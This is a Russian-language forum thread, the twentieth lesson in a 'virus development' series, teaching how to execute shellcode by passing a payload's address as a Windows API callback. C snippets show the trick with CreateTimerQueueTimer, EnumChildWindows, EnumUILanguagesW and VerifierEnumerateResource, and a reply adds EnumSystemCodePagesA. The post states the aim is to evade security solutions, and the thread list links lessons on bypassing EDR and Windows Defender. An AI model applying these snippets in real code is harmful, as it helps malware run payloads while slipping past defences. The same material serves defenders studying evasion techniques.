Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1695805775387.png


Введение

Функции обратного вызова используются для обработки событий или выполнения действия, когда выполняется определенное условие. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность.

Определение функции обратного вызова от Microsoft следующее:

Функция обратного вызова - это код в управляемом приложении, который помогает функции неконтролируемой DLL завершить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно к управляемой реализации.

Некоторые обычные API Windows имеют возможность выполнять полезные нагрузки с помощью обратных вызовов. Их использование предоставляет преимущества перед решениями безопасности, так как эти функции могут казаться безвредными и потенциально уклоняться от некоторых решений по безопасности.

Злоупотребление функциями обратного вызова

Обратные вызовы Windows можно выполнить с помощью указателя на функцию. Чтобы запустить полезную нагрузку, адрес полезной нагрузки должен быть передан вместо действительного указателя на функцию обратного вызова. Выполнение обратного вызова может заменить использование CreateThread WinAPI и других техник, связанных с выполнением потоков. Кроме того, нет необходимости правильно использовать функции, передавая соответствующие параметры. Возвращаемое значение или функциональность этих функций не имеют значения.

Одним важным моментом о функциях обратного вызова является то, что они работают только в адресном пространстве локального процесса и не могут быть использованы для выполнения техник внедрения удаленного кода.

Примеры функций обратного вызова

Следующие функции способны выполнять функции обратного вызова.

3-й параметр CreateTimerQueueTimer:
C:
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // здесь
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);

2-й параметр EnumChildWindows:
C:
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // здесь
[in] LPARAM lParam
);

1-й параметр EnumUILanguagesW:
C:
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // здесь
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);

4-й параметр VerifierEnumerateResource:
C:
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // здесь
PVOID EnumerationContext
);

Следующие разделы предоставят подробные объяснения для каждой из этих функций. Полезная нагрузка, используемая в примерах кода, хранится в разделе .text бинарного файла. Это позволяет shellcode иметь необходимые разрешения памяти RX, не прибегая к выделению исполняемой памяти с использованием VirtualAlloc или других функций выделения памяти.

Использование CreateTimerQueueTimer

CreateTimerQueueTimer создает новый таймер и добавляет его в указанную очередь таймеров. Таймер определяется с помощью функции обратного вызова, которая вызывается, когда таймер истекает. Функция обратного вызова выполняется потоком, который создал очередь таймеров.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
HANDLE hTimer = NULL;

if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer не удалось с ошибкой: %d \n", GetLastError());
return -1;
}

Использование EnumChildWindows

EnumChildWindows позволяет программе перечислять дочерние окна родительского окна. Он принимает дескриптор родительского окна в качестве входных данных и применяет определенную пользователем функцию обратного вызова к каждому из дочерних окон поочередно. Функция обратного вызова вызывается для каждого дочернего окна и получает дескриптор дочернего окна и значение, определенное пользователем, в качестве параметров.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

Использование EnumUILanguagesW

EnumUILanguagesW перечисляет языки пользовательского интерфейса (UI), установленные в системе. Он принимает функцию обратного вызова в качестве параметра и применяет функцию обратного вызова к каждому языку UI поочередно. Обратите внимание, что любое значение вместо флага MUI_LANGUAGE_NAME все равно работает.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf("[!] EnumUILanguagesW не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

Использование VerifierEnumerateResource

VerifierEnumerateResource используется для перечисления ресурсов в указанном модуле. Ресурсы - это данные, которые хранятся в модуле (например, в исполняемом файле или библиотеке динамической компоновки) и к которым можно получить доступ модулем или другими модулями во время выполнения. Примеры ресурсов включают строки, битовые изображения и шаблоны диалоговых окон.

VerifierEnumerateResource экспортируется из verifier.dll, поэтому модуль должен быть динамически загружен с использованием LoadLibrary и GetProcAddress WinAPI для доступа к функции.

Обратите внимание, что если параметр ResourceType не равен AvrfResourceHeapAllocation, то полезная нагрузка не будет выполнена. AvrfResourceHeapAllocation позволяет функции перечислять выделение кучи, включая блоки метаданных кучи.

C:
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
    printf("[!] LoadLibraryA не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
    printf("[!] GetProcAddress не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

// Необходимо установить флаг AvrfResourceHeapAllocation для выполнения полезной нагрузки
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Заключение

В этой статье рассмотрено несколько функций обратного вызова и продемонстрировано их использование для выполнения полезной нагрузки. Функции обратного вызова полезны только тогда, когда полезная нагрузка работает в адресном пространстве памяти локального процесса.

Страницу документации Microsoft можно исследовать, чтобы обнаружить дополнительные функции обратного вызова.

Кроме того, , который содержит список наиболее распространенных функций обратного вызова.
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Можете подсказать функция CreateTimerQueueTimer у себя внутри будет создавать треды ?
UPD:
Начал читать на оф.доке , эта функция использует пул поток. Как я правильно понял , система сама создаст поток , через пул поток. Поправьте если я не прав.
 
Последнее редактирование:

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Нашел одну функцию, которой нет на github , который указан в этой статье. Может она просто не популярна.
C++:
if (!EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)buffer, CP_SUPPORTED)) {
    printf("[!] EnumSystemCodePagesA error: %d \n", GetLastError());
    return -1;
}
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ